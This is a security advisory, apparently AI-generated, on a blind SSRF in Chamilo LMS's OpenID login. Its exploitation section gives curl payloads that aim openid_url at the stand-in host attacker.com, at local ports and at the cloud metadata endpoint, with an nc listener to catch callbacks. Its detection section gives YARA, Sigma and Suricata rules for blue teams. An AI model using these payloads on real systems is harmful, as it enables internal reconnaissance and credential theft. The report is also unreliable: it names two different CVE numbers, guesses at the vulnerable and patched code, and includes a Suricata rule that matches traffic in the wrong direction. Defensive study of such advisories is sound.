CVE-2025-50199

Executive Summary

CVE-2025-50197 is a blind Server-Side Request Forgery (SSRF) vulnerability discovered in Chamilo, a popular open-source Learning Management System (LMS). The vulnerability resides in the /index.php endpoint and is exploitable via the openid_url POST parameter. An unauthenticated attacker can force the server to make arbitrary HTTP requests to internal or external resources, potentially leading to information disclosure, internal network scanning, or further exploitation of internal services. The vulnerability has been patched in Chamilo version 1.11.30. No public proof-of-concept (PoC) code or exploit is currently available, but the risk is significant due to the blind nature of the SSRF, which can be used to probe internal networks.

Supply Chain & Package Security

Chamilo is a PHP-based application distributed as a complete package. The vulnerability is not in a third-party library but in the core application logic handling OpenID authentication. The supply chain risk is low, as the fix is a direct code change in the Chamilo repository. However, organizations using Chamilo should verify the integrity of their downloaded packages and ensure they are sourced from the official Chamilo website or trusted mirrors.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
• Base Score: 5.3 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L)
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

Threat Level: Medium. While the direct impact is limited to information disclosure, the blind SSRF can be chained with other vulnerabilities (e.g., internal service exploitation) to achieve higher impact. The lack of authentication and low complexity makes it attractive for initial reconnaissance.

Deep Dive & Mechanics

The vulnerability is a classic blind SSRF in the OpenID authentication flow. When a user initiates OpenID login, the application takes the openid_url parameter from a POST request to /index.php and uses it to fetch the OpenID provider's identity document. The application does not properly validate or sanitize the URL, allowing an attacker to supply arbitrary URLs, including internal IP addresses (e.g., http://169.254.169.254/latest/meta-data/ for cloud metadata) or localhost services.

The blind nature means the attacker does not directly see the response content. However, they can infer information through side-channel techniques such as:

• Timing attacks: Observing response delays to determine if a port is open.
• Error-based inference: Triggering different error messages based on the response.
• Out-of-band (OOB) exfiltration: Using a controlled external server to capture the response (e.g., via DNS or HTTP callbacks).

The vulnerable code path likely uses file_get_contents() or curl_exec() without restricting the URL scheme or destination IP range.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-1.11.30): The vulnerable code likely resides in the OpenID library or authentication handler. A simplified example:

// Vulnerable: No URL validation
$openid_url = $_POST['openid_url'];
$response = file_get_contents($openid_url);
// Process response...

Patched Code (1.11.30): The patch introduces URL validation and restrictions. A simplified example:

// Patched: Validate URL and restrict to allowed schemes
$openid_url = $_POST['openid_url'];
if (!filter_var($openid_url, FILTER_VALIDATE_URL)) {
    die('Invalid URL');
}
$parsed_url = parse_url($openid_url);
if (!in_array($parsed_url['scheme'], ['http', 'https'])) {
    die('Invalid scheme');
}
// Optionally, block private IP ranges
if (filter_var(gethostbyname($parsed_url['host']), FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
    $response = file_get_contents($openid_url);
} else {
    die('Blocked internal request');
}

Exploitation & Lab Setup

Red Team (Exploitation)

Lab Setup:

1. Deploy a vulnerable Chamilo instance (version < 1.11.30) in a controlled environment.
2. Set up a listener on an external server (e.g., using nc -lvnp 8080) to capture outbound requests.
3. Use a tool like Burp Suite or curl to send malicious requests.

Exploitation Steps:

1. Basic SSRF Test:

   curl -X POST http://target/index.php \
     -d "openid_url=http://attacker.com/test"
   

   Check your listener for an incoming request.

2. Internal Port Scanning (Blind): Use timing or error-based inference:

   curl -X POST http://target/index.php \
     -d "openid_url=http://127.0.0.1:22"
   

   Observe response time or error messages.

3. Cloud Metadata Exfiltration (Blind OOB):

   curl -X POST http://target/index.php \
     -d "openid_url=http://169.254.169.254/latest/meta-data/"
   

   Use a DNS-based exfiltration technique if direct response is not visible.

Blue Team (Detection & Response)

Detection Steps:

1. Monitor web server logs for POST requests to /index.php with unusual openid_url parameters.
2. Look for outbound connections from the Chamilo server to unexpected IP addresses (especially private ranges or external attacker-controlled servers).
3. Implement network segmentation to restrict the Chamilo server's outbound access.

Hunting Queries:

• Search for openid_url parameters containing IP addresses in private ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 127.0.0.0/8).
• Alert on any outbound HTTP request from the Chamilo server to non-standard ports (e.g., 22, 3306, 6379).

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound HTTP requests from the Chamilo server to private IP addresses.
  • POST requests to /index.php with openid_url containing internal IPs or unusual domains.
  • DNS queries for domains that resolve to internal IPs (e.g., burpcollaborator.net).

• File IOCs:

  • Modified or suspicious entries in Chamilo logs (e.g., /var/log/chamilo/).
  • Unexpected files in the web root (e.g., webshells uploaded via SSRF to internal services).

• Behavioral IOCs:

  • Unusual outbound traffic patterns from the Chamilo server.
  • Repeated failed login attempts followed by SSRF attempts.

Detection Engineering

YARA Rule

rule CVE_2025_50197_SSRF_Chamilo {
    meta:
        description = "Detects potential SSRF exploitation attempts against Chamilo LMS via openid_url parameter"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-50197"
    strings:
        $openid_param = "openid_url="
        $private_ip = /(127\.|10\.|172\.(1[6-9]|2[0-9]|3[01])\.|192\.168\.)/
        $cloud_metadata = /169\.254\.169\.254/
    condition:
        $openid_param and ($private_ip or $cloud_metadata)
}

Sigma Rule

title: Chamilo SSRF via openid_url Parameter
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects POST requests to Chamilo /index.php with suspicious openid_url values indicating SSRF attempts
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: POST
        cs-uri-stem: /index.php
        cs-uri-query|contains: openid_url=
    keywords:
        - '127.0.0.1'
        - 'localhost'
        - '169.254.169.254'
        - '10.'
        - '172.16.'
        - '172.17.'
        - '172.18.'
        - '172.19.'
        - '172.20.'
        - '172.21.'
        - '172.22.'
        - '172.23.'
        - '172.24.'
        - '172.25.'
        - '172.26.'
        - '172.27.'
        - '172.28.'
        - '172.29.'
        - '172.30.'
        - '172.31.'
        - '192.168.'
    condition: selection and keywords
falsepositives:
    - Legitimate OpenID providers using internal IPs (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-50197 - Chamilo SSRF via openid_url";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/index.php";
    http_uri;
    content:"openid_url=";
    http_client_body;
    pcre:"/(127\.|10\.|172\.(1[6-9]|2[0-9]|3[01])\.|192\.168\.|169\.254\.169\.254)/Ri";
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Chamilo: Update to version 1.11.30 or later immediately.
2. Apply Virtual Patching: If immediate upgrade is not possible, implement a WAF rule to block POST requests to /index.php with openid_url containing private IP addresses or unusual schemes.
3. Network Segmentation: Restrict outbound HTTP/HTTPS access from the Chamilo server to only trusted external services.

Long-Term Mitigations:

1. Code Review: Ensure all URL inputs are validated against an allowlist of schemes and domains.
2. Disable OpenID if Unused: If OpenID authentication is not required, disable the feature entirely.
3. Monitor Logs: Continuously monitor web server logs for SSRF patterns.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters.it.